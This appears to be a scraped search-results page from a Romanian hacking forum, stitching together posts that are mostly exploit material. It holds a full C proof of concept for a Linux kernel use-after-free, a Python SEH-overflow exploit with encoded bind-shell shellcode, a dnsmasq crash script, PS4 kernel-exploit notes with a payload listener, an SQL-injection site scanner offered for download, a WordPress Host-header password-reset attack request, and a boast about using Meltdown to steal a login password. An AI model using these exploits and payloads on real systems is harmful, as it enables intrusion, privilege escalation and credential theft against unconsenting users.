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Found 77 results

  1. Se intampla o chestie ciudata la mine in oras. De aproximativ 4 zile cineva a facut un cont de instagram numit "gossipsimleu" unde oricine ii spune o barfa el/ea o posteaza . Cred ca e gen luata din seriarul GossipGirl. Toata lumea cauta deja sa demascheze contul. Ceva idei?
  2. SQL Poizon v1.1 – SQLi Exploit Scanner, Search Hunter, Injection Builder Tool ---------------------------------------------------------------------------------------- SQL Poizon v1.1 – SQLi Exploit Scanner, Search Hunter, Injection Builder Tool is a tool which scans website through dorks automatically and finds vulnerabilities in them its very easy powerful too, to find vulnerable site of any country. New Features : “Look &Feel” is more attractive now. Rich “Context Menu” items. “Results” contain checkboxes to enable selection. “Selected Dork” box is editable now for user convenience. Built-in Browser for “Injection Builder” to check the impact of injection. “Text Bucket” available for “Injection Builder” to save extra data. “Insert Order By” button is added to “Injection Builder”. “Internet Browser” with Snapshot and HTML DOM Tree. Bug Fixes : It wont get stucked after pressing the stop button. Just a minor wait can occur which is okay. Progress bar for “Crawler” has been fixed. It will show correct progress now. Error on importing file is fixed now. You can import files from other directories as well. “Searchqu” shows invalid results. It is fixed now. Download : Password: rst
  3. files on https://elastixhacking.wordpress.com/
  4. Este o serie de articole ce descriu dezvoltarea exploit-urilor de kernel Windows, folosind HackSysExtremeVulnerableDriver pe Windows 7 32bit cat si Windows 7 64bit, dar si Windows 10. [Kernel Exploitation] 1: Setting up the environment [Kernel Exploitation] 2: Payloads [Kernel Exploitation] 3: Stack Buffer Overflow (Windows 7 x86/x64) [Kernel Exploitation] 4: Stack Buffer Overflow (SMEP Bypass) [Kernel Exploitation] 5: Integer Overflow [Kernel Exploitation] 6: NULL pointer dereference Sursa: https://twitter.com/abatchy17 (decizia de a scrie articolele: https://twitter.com/abatchy17/status/939572701345148928; anuntul primelor doua post-uri: https://twitter.com/abatchy17/status/948226589237559296
  5. Salutare, Aici avem singurul PoC real de meltdown, care functioneaza fara probleme (probat de mine). https://github.com/IAIK/meltdown This repository contains several videos demonstrating Meltdown Video #1 shows how Meltdown can be used to spy in realtime on a password input. Video #2 shows how Meltdown leaks physical memory content. Video #3 shows how Meltdown reconstructs a photo from memory. Video #4 shows how Meltdown reconstructs a photo from memory which is encoded with the FLIF file format. Video #5 shows how Meltdown leaks uncached memory. Am incercat sa scot parola de la un login de chrome (parola nefiind salvada, decat introdusa pentru login) merge ca si uns. Hai, la joaca!
  6. This framework is similar to metsploit. It's still under development, but it looks good. The author hopes to give more advice. Let's go and have a try! Github:https://github.com/hucmosin/purelove
  7. # PS4 4.05 Kernel Exploit --- ## Summary In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival. You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics ~~here~~ (this is still in progress and will be published within the next few days). ## Patches Included The following patches are made by default in the kernel ROP chain: 1) Disable kernel write protection 2) Allow RWX (read-write-execute) memory mapping 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. ## Notes - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel. - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads. - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel. - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date. - I've released a sample payload [here](http://www.mediafire.com/file/n4boybw0e06h892/debug_settings.bin) that will make the necessary patches to access the debug menu of the system via settings, jailbreaks, and escapes the sandbox. ## Contributors I was not alone in this exploit's development, and would like to thank those who helped me along the way below. - [qwertyoruiopz](https://twitter.com/qwertyoruiopz) - [Flatz](https://twitter.com/flat_z) - [CTurt](https://twitter.com/CTurtE) - Anonymous E-DB Note: Download ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43397.zip Source: exploit-db.com
  8. Vulnerability Summary The following advisory describes a Use-after-free vulnerability found in Linux kernel that can lead to privilege escalation. The vulnerability found in Netlink socket subsystem – XFRM. Netlink is used to transfer information between the kernel and user-space processes. It consists of a standard sockets-based interface for user space processes and an internal kernel API for kernel modules. Credit An independent security researcher, Mohamed Ghannam, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program Vendor reposnse The vulnerability has been addressed as part of 1137b5e (“ipsec: Fix aborted xfrm policy dump crash”) patch: CVE-2017-16939 @@ -1693,32 +1693,34 @@ static int dump_one_policy(struct xfrm_policy *xp, int dir, int count, void *ptr static int xfrm_dump_policy_done(struct netlink_callback *cb) { - struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; struct net *net = sock_net(cb->skb->sk); xfrm_policy_walk_done(walk, net); return 0; } +static int xfrm_dump_policy_start(struct netlink_callback *cb) +{ + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; + + BUILD_BUG_ON(sizeof(*walk) > sizeof(cb->args)); + + xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY); + return 0; +} + static int xfrm_dump_policy(struct sk_buff *skb, struct netlink_callback *cb) { struct net *net = sock_net(skb->sk); - struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *) &cb->args[1]; + struct xfrm_policy_walk *walk = (struct xfrm_policy_walk *)cb->args; struct xfrm_dump_info info; - BUILD_BUG_ON(sizeof(struct xfrm_policy_walk) > - sizeof(cb->args) - sizeof(cb->args[0])); - info.in_skb = cb->skb; info.out_skb = skb; info.nlmsg_seq = cb->nlh->nlmsg_seq; info.nlmsg_flags = NLM_F_MULTI; - if (!cb->args[0]) { - cb->args[0] = 1; - xfrm_policy_walk_init(walk, XFRM_POLICY_TYPE_ANY); - } - (void) xfrm_policy_walk(net, walk, dump_one_policy, &info); return skb->len; @@ -2474,6 +2476,7 @@ static const struct nla_policy xfrma_spd_policy[XFRMA_SPD_MAX+1] = { static const struct xfrm_link { int (*doit)(struct sk_buff *, struct nlmsghdr *, struct nlattr **); + int (*start)(struct netlink_callback *); int (*dump)(struct sk_buff *, struct netlink_callback *); int (*done)(struct netlink_callback *); const struct nla_policy *nla_pol; @@ -2487,6 +2490,7 @@ static const struct xfrm_link { [XFRM_MSG_NEWPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_add_policy }, [XFRM_MSG_DELPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy }, [XFRM_MSG_GETPOLICY - XFRM_MSG_BASE] = { .doit = xfrm_get_policy, + .start = xfrm_dump_policy_start, .dump = xfrm_dump_policy, .done = xfrm_dump_policy_done }, [XFRM_MSG_ALLOCSPI - XFRM_MSG_BASE] = { .doit = xfrm_alloc_userspi }, @@ -2539,6 +2543,7 @@ static int xfrm_user_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh, { struct netlink_dump_control c = { + .start = link->start, .dump = link->dump, .done = link->done, }; Vulnerability details An unprivileged user can change Netlink socket subsystem – XFRM value sk->sk_rcvbuf (sk == struct sock object). The value can be changed into specific range via setsockopt(SO_RCVBUF). sk_rcvbuf is the total number of bytes of a buffer receiving data via recvmsg/recv/read. The sk_rcvbuf value is how many bytes the kernel should allocate for the skb (struct sk_buff objects). skb->trusize is a variable which keep track of how many bytes of memory are consumed, in order to not wasting and manage memory, the kernel can handle the skb size at run time. For example, if we allocate a large socket buffer (skb) and we only received 1-byte packet size, the kernel will adjust this by calling skb_set_owner_r. By calling skb_set_owner_r the sk->sk_rmem_alloc (refers to an atomic variable sk->sk_backlog.rmem_alloc) is modified. When we create a XFRM netlink socket, xfrm_dump_policy is called, when we close the socket xfrm_dump_policy_done is called. xfrm_dump_policy_done is called whenever cb_running for netlink_sock object is true. The xfrm_dump_policy_done tries to clean-up a xfrm walk entry which is managed by netlink_callback object. When netlink_skb_set_owner_r is called (like skb_set_owner_r) it updates the sk_rmem_alloc. netlink_dump(): In above snippet we can see that netlink_dump() check fails when sk->sk_rcvbuf is smaller than sk_rmem_alloc (notice that we can control sk->sk_rcvbuf via stockpot). When this condition fails, it jumps to the end of a function and quit with failure and the value of cb_running doesn’t changed to false. nlk->cb_running is true, thus xfrm_dump_policy_done() is being called. nlk->cb.done points to xfrm_dump_policy_done, it worth noting that this function handles a doubly linked list, so if we can tweak this vulnerability to reference a controlled buffer, we could have a read/write what/where primitive. Proof of concept The following proof of concept is for Ubuntu 17.04. #define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <stdlib.h> #include <asm/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <linux/netlink.h> #include <linux/xfrm.h> #include <sched.h> #include <unistd.h> #define BUFSIZE 2048 int fd; struct sockaddr_nl addr; struct msg_policy { struct nlmsghdr msg; char buf[BUFSIZE]; }; void create_nl_socket(void) { fd = socket(PF_NETLINK,SOCK_RAW,NETLINK_XFRM); memset(&addr,0,sizeof(struct sockaddr_nl)); addr.nl_family = AF_NETLINK; addr.nl_pid = 0; /* packet goes into the kernel */ addr.nl_groups = XFRMNLGRP_NONE; /* no need for multicast group */ } void do_setsockopt(void) { int var =0x100; setsockopt(fd,1,SO_RCVBUF,&var,sizeof(int)); } struct msg_policy *init_policy_dump(int size) { struct msg_policy *r; r = malloc(sizeof(struct msg_policy)); if(r == NULL) { perror("malloc"); exit(-1); } memset(r,0,sizeof(struct msg_policy)); r->msg.nlmsg_len = 0x10; r->msg.nlmsg_type = XFRM_MSG_GETPOLICY; r->msg.nlmsg_flags = NLM_F_MATCH | NLM_F_MULTI | NLM_F_REQUEST; r->msg.nlmsg_seq = 0x1; r->msg.nlmsg_pid = 2; return r; } int send_msg(int fd,struct nlmsghdr *msg) { int err; err = sendto(fd,(void *)msg,msg->nlmsg_len,0,(struct sockaddr*)&addr,sizeof(struct sockaddr_nl)); if (err < 0) { perror("sendto"); return -1; } return 0; } void create_ns(void) { if(unshare(CLONE_NEWUSER) != 0) { perror("unshare(CLONE_NEWUSER)"); exit(1); } if(unshare(CLONE_NEWNET) != 0) { perror("unshared(CLONE_NEWUSER)"); exit(2); } } int main(int argc,char **argv) { struct msg_policy *p; create_ns(); create_nl_socket(); p = init_policy_dump(100); do_setsockopt(); send_msg(fd,&p->msg); p = init_policy_dump(1000); send_msg(fd,&p->msg); return 0; } Source: https://blogs.securiteam.com/index.php/archives/3535
  9. #!/usr/bin/env python # # Exploit Title : VXSearch v10.2.14 Local SEH Overflow # Date : 11/16/2017 # Exploit Author : wetw0rk # Vendor Homepage : http://www.flexense.com/ # Software link : http://www.vxsearch.com/setups/vxsearchent_setup_v10.2.14.exe # Version : 10.2.14 # Tested on : Windows 7 (x86) # Description : VX Search v10.2.14 suffers from a local buffer overflow. The # following exploit will generate a bind shell on port 1337. I # was unable to get a shell working with msfvenom shellcode so # below is a custom alphanumeric bind shell. Greetz rezkon ;) # # trigger the vulnerability by : # Tools -> Advanced options -> Proxy -> *Paste In Proxy Host Name # import struct shellcode = "w00tw00t" shellcode += ( "\x25\x4a\x4d\x4e\x55" # and eax, 0x554e4d4a "\x25\x35\x32\x31\x2a" # and eax, 0x2a313235 "\x2d\x6a\x35\x35\x35" # sub eax, 0x3535356a "\x2d\x65\x6a\x6a\x65" # sub eax, 0x656a6a65 "\x2d\x61\x64\x4d\x65" # sub eax, 0x654d6461 "\x50" # push eax "\x5c" # pop esp ) shellcode += ( "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x4f\x4f\x4f" "\x2d\x4f\x30\x4f\x68\x2d\x62\x2d\x62\x72\x50\x25\x4a\x4d\x4e" "\x55\x25\x35\x32\x31\x2a\x2d\x76\x57\x57\x63\x2d\x77\x36\x39" "\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x54" "\x54\x54\x2d\x25\x54\x7a\x2d\x2d\x25\x52\x76\x36\x50\x25\x4a" "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x35\x49\x49\x2d\x49" "\x25\x49\x69\x2d\x64\x25\x72\x6c\x50\x25\x4a\x4d\x4e\x55\x25" "\x35\x32\x31\x2a\x2d\x70\x33\x33\x25\x2d\x70\x25\x70\x25\x2d" "\x4b\x6a\x56\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a" "\x2d\x79\x55\x75\x32\x2d\x79\x75\x75\x55\x2d\x79\x77\x77\x78" "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x4a\x4a" "\x25\x2d\x39\x5f\x4d\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32" "\x31\x2a\x2d\x4b\x57\x4b\x57\x2d\x70\x76\x4b\x79\x2d\x70\x76" "\x78\x79\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49" "\x49\x49\x49\x2d\x49\x4e\x64\x49\x2d\x78\x25\x78\x25\x2d\x6f" "\x25\x7a\x48\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d" "\x58\x58\x38\x58\x2d\x58\x30\x32\x58\x2d\x51\x46\x2d\x47\x50" "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x52\x5f\x5f" "\x2d\x5f\x25\x25\x35\x2d\x62\x39\x25\x25\x50\x25\x4a\x4d\x4e" "\x55\x25\x35\x32\x31\x2a\x2d\x4a\x4a\x4a\x4a\x2d\x4a\x4a\x4a" "\x4a\x2d\x79\x39\x4a\x79\x2d\x6d\x32\x4b\x68\x50\x25\x4a\x4d" "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x30\x71\x30\x2d\x30\x25" "\x71\x30\x2d\x38\x31\x51\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35" "\x32\x31\x2a\x2d\x32\x32\x32\x32\x2d\x78\x77\x7a\x77\x50\x25" "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x62\x62\x62\x62\x2d" "\x48\x57\x47\x4f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a" "\x2d\x76\x76\x4f\x4f\x2d\x36\x39\x5a\x5a\x50\x25\x4a\x4d\x4e" "\x55\x25\x35\x32\x31\x2a\x2d\x61\x61\x61\x61\x2d\x4a\x61\x4a" "\x25\x2d\x45\x77\x53\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32" "\x31\x2a\x2d\x63\x63\x63\x63\x2d\x39\x63\x63\x2d\x2d\x32\x63" "\x7a\x25\x2d\x31\x49\x7a\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35" "\x32\x31\x2a\x2d\x72\x79\x79\x79\x2d\x25\x30\x25\x30\x2d\x25" "\x32\x25\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d" "\x58\x58\x41\x58\x2d\x58\x58\x25\x77\x2d\x6e\x51\x32\x69\x50" "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x48\x77\x38\x48" "\x2d\x4e\x76\x6e\x61\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31" "\x2a\x2d\x41\x41\x6e\x6e\x2d\x31\x31\x30\x6e\x2d\x37\x36\x30" "\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x38" "\x38\x38\x2d\x38\x79\x38\x25\x2d\x38\x79\x38\x25\x2d\x58\x4c" "\x73\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x61" "\x52\x61\x52\x2d\x37\x4a\x31\x49\x50\x25\x4a\x4d\x4e\x55\x25" "\x35\x32\x31\x2a\x2d\x4d\x47\x4d\x4d\x2d\x30\x25\x4d\x6b\x2d" "\x36\x32\x66\x71\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a" "\x2d\x36\x43\x43\x6c\x2d\x33\x54\x47\x25\x50\x25\x4a\x4d\x4e" "\x55\x25\x35\x32\x31\x2a\x2d\x4c\x4c\x4c\x4c\x2d\x6e\x4c\x6e" "\x36\x2d\x65\x67\x6f\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32" "\x31\x2a\x2d\x25\x25\x4b\x4b\x2d\x25\x25\x6f\x4b\x2d\x4e\x41" "\x59\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41" "\x41\x41\x41\x2d\x52\x52\x78\x41\x2d\x6e\x6c\x70\x25\x50\x25" "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x30\x6c\x30\x30\x2d" "\x30\x6c\x6c\x30\x2d\x38\x70\x79\x66\x50\x25\x4a\x4d\x4e\x55" "\x25\x35\x32\x31\x2a\x2d\x42\x70\x70\x45\x2d\x32\x45\x70\x31" "\x2d\x25\x4b\x49\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31" "\x2a\x2d\x25\x50\x50\x50\x2d\x25\x7a\x72\x25\x2d\x4e\x73\x61" "\x52\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x35\x77" "\x74\x74\x2d\x61\x78\x35\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35" "\x32\x31\x2a\x2d\x30\x30\x30\x30\x2d\x30\x30\x59\x30\x2d\x30" "\x30\x74\x51\x2d\x6b\x36\x79\x67\x50\x25\x4a\x4d\x4e\x55\x25" "\x35\x32\x31\x2a\x2d\x75\x38\x43\x43\x2d\x7a\x31\x43\x43\x2d" "\x7a\x2d\x77\x79\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a" "\x2d\x59\x59\x59\x59\x2d\x59\x59\x59\x59\x2d\x6f\x6c\x4d\x77" "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x45\x45" "\x45\x2d\x34\x2d\x76\x45\x2d\x37\x25\x5a\x65\x50\x25\x4a\x4d" "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x34\x34\x34\x34\x2d\x62\x34" "\x34\x34\x2d\x6d\x56\x47\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35" "\x32\x31\x2a\x2d\x2d\x2d\x2d\x2d\x2d\x76\x2d\x2d\x76\x2d\x55" "\x4c\x55\x7a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d" "\x77\x77\x77\x30\x2d\x47\x47\x79\x30\x2d\x42\x42\x39\x34\x50" "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x75\x36\x51" "\x2d\x42\x61\x49\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31" "\x2a\x2d\x56\x56\x31\x56\x2d\x31\x79\x31\x25\x2d\x50\x6c\x48" "\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x72\x72" "\x72\x72\x2d\x72\x25\x38\x38\x2d\x38\x25\x25\x25\x2d\x54\x41" "\x30\x30\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47" "\x47\x47\x76\x2d\x47\x47\x76\x76\x2d\x6b\x72\x6c\x5a\x50\x25" "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25\x71\x25\x71\x2d" "\x73\x42\x63\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a" "\x2d\x48\x55\x51\x51\x2d\x45\x78\x4f\x5a\x50\x25\x4a\x4d\x4e" "\x55\x25\x35\x32\x31\x2a\x2d\x45\x45\x45\x32\x2d\x45\x45\x25" "\x31\x2d\x76\x75\x2d\x25\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32" "\x31\x2a\x2d\x6e\x4f\x6d\x6e\x2d\x35\x48\x5f\x5f\x50\x25\x4a" "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x2d\x2d\x2d\x2d\x71" "\x2d\x2d\x71\x2d\x71\x2d\x4a\x71\x2d\x66\x65\x70\x62\x50\x25" "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x56\x30\x56\x30\x2d" "\x56\x38\x25\x30\x2d\x74\x37\x25\x45\x50\x25\x4a\x4d\x4e\x55" "\x25\x35\x32\x31\x2a\x2d\x32\x32\x32\x77\x2d\x32\x32\x32\x32" "\x2d\x43\x41\x4a\x57\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31" "\x2a\x2d\x63\x63\x63\x30\x2d\x79\x41\x41\x6e\x50\x25\x4a\x4d" "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4b\x4b\x4b\x4b\x2d\x4b\x4b" "\x25\x31\x2d\x4b\x71\x25\x32\x2d\x4f\x6e\x25\x2d\x50\x25\x4a" "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x37\x37\x37\x37\x2d\x6d" "\x37\x6d\x37\x2d\x6d\x37\x6d\x37\x2d\x64\x55\x63\x58\x50\x25" "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x44\x6c\x6c\x6c\x2d" "\x34\x44\x44\x6c\x2d\x30\x33\x4e\x54\x50\x25\x4a\x4d\x4e\x55" "\x25\x35\x32\x31\x2a\x2d\x2d\x7a\x43\x2d\x2d\x48\x79\x71\x47" "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x41\x41\x41" "\x41\x2d\x41\x46\x71\x25\x2d\x5a\x77\x7a\x32\x50\x25\x4a\x4d" "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x47\x47\x47\x2d\x47\x6e" "\x47\x6e\x2d\x47\x78\x6e\x78\x2d\x47\x79\x77\x79\x50\x25\x4a" "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x74\x38\x69\x38\x2d\x51" # 0day.today [2017-11-17] # Source: 0day.today
  10. Author: Google Security Research | Category: dos/poc | Platform: multiple Date add: 02-10-2017 | Risk: [Security Risk Medium] | 0day-ID: 0day-ID-28727 | CVE: CVE-2017-14496 ''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14496.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet. ================================================================= ==2215==ERROR: AddressSanitizer: negative-size-param: (size=-4) #0 0x4b55be in __asan_memcpy (/test/dnsmasq/src/dnsmasq+0x4b55be) #1 0x59a70e in add_pseudoheader /test/dnsmasq/src/edns0.c:164:8 #2 0x59bae8 in add_edns0_config /test/dnsmasq/src/edns0.c:424:12 #3 0x530b6b in forward_query /test/dnsmasq/src/forward.c:407:20 #4 0x534699 in receive_query /test/dnsmasq/src/forward.c:1448:16 #5 0x548486 in check_dns_listeners /test/dnsmasq/src/dnsmasq.c:1565:2 #6 0x5448b6 in main /test/dnsmasq/src/dnsmasq.c:1044:7 #7 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #8 0x41cbe9 in _start (/test/dnsmasq/src/dnsmasq+0x41cbe9) 0x62200001ca2e is located 302 bytes inside of 5131-byte region [0x62200001c900,0x62200001dd0b) allocated by thread T0 here: #0 0x4cc700 in calloc (/test/dnsmasq/src/dnsmasq+0x4cc700) #1 0x5181b5 in safe_malloc /test/dnsmasq/src/util.c:267:15 #2 0x54186c in main /test/dnsmasq/src/dnsmasq.c:99:20 #3 0x7fb05e3cf2b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) SUMMARY: AddressSanitizer: negative-size-param (/test/dnsmasq/src/dnsmasq+0x4b55be) in __asan_memcpy ==2215==ABORTING ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <fjserna@google.com> # Felix Wilhelm <fwilhelm@google.com> # Gabriel Campana <gbrl@google.com> # Kevin Hamacher <hamacher@google.com> # Gynvael Coldwin <gynvael@google.com> # Ron Bowes - Xoogler :/ import socket import sys def negative_size_param(): data = '''00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 fe 32 01 13 79 00 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 5c 00 00 00 01 ff ff 00 35 13 01 0d 06 1b 00 00 00 00 00 00 00 00 00 00 00 04 00 00 29 00 00 3a 00 00 00 01 13 00 08 01 00 00 00 00 00 00 01 00 00 00 61 00 08 08 08 08 08 08 08 08 08 13 08 08 08 00 00 00 00 00 00 00 00 00 6f 29 fb ff ff ff 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 8d 00 00 00 f9 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 01 ff ff 00 35 13 00 00 00 00 00 b6 00 00 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 05 01 20 00 01 '''.replace(' ', '').replace('\n', '').decode('hex') return data if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: %s <ip> <port>' % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) packet = negative_size_param() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1) s.sendto(packet, (ip, port)) s.close() # 0day.today [2017-10-03] # Source: 0day.today
  11. ==================================================== - Discovered by: Dawid Golunski (@dawid_golunski) - dawid[at]legalhackers.com - https://legalhackers.com - ExploitBox.io (@Exploit_Box) - CVE-2017-8295 - Release date: 03.05.2017 - Revision 1.0 - Severity: Medium/High ============================================= I. VULNERABILITY ------------------------- WordPress Core <= 4.7.4 Potential Unauthorized Password Reset (0day) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- Wordpress has a password reset feature that contains a vulnerability which might in some cases allow attackers to get hold of the password reset link without previous authentication. Such attack could lead to an attacker gaining unauthorised access to a victim's WordPress account. IV. DESCRIPTION ------------------------- The vulnerability stems from WordPress using untrusted data by default when creating a password reset e-mail that is supposed to be delivered only to the e-mail associated with the owner's account. This can be observed in the following code snippet that creates a From email header before calling a PHP mail() function: ------[ wp-includes/pluggable.php ]------ ... if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } ... ----------------------------------------- As we can see, Wordpress is using SERVER_NAME variable to get the hostname of the server in order to create a From/Return-Path header of the outgoing password reset email. However, major web servers such as Apache by default set the SERVER_NAME variable using the hostname supplied by the client (within the HTTP_HOST header): https://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname Because SERVER_NAME can be modified, an attacker could set it to an arbitrary domain of his choice e.g: attackers-mxserver.com which would result in Wordpress setting the $from_email to wordpress@attackers-mxserver.com and thus result in an outgoing email with From/Return-Path set to this malicious address. As to which e-mail header the attacker would be able to modify - From or Return-Path, it depends on the server environment. As can be read on http://php.net/manual/en/function.mail.php The From header sets also Return-Path under Windows. Depending on the configuration of the mail server, it may result in an email that gets sent to the victim WordPress user with such malicious From/Return-Path address set in the email headers. This could possibly allow the attacker to intercept the email containing the password reset link in some cases requiring user interaction as well as without user interaction. Some example scenarios include: * If attacker knows the email address of the victim user. They can perform a prior DoS attack on the victim's email account (e.g by sending multiple large files to exceed user's disk quota, or attacking the DNS server) in order to cause the password reset email to be rejected by the receiving server, or not reach the destination and thus get returned to the account on attacker's server * Some autoresponders might attach a copy of the email sent in the body of the auto-replied message * Sending multiple password reset emails to force the user to reply to the message to enquiry explanation for endless password reset emails. The reply containing the password link would then be sent to attacker. etc. V. PROOF OF CONCEPT ------------------------- If an attacker sends a request similar to the one below to a default Wordpress installation that is accessible by the IP address (IP-based vhost): -----[ HTTP Request ]---- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: injected-attackers-mxserver.com Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password ------------------------ Wordpress will trigger the password reset function for the admin user account. Because of the 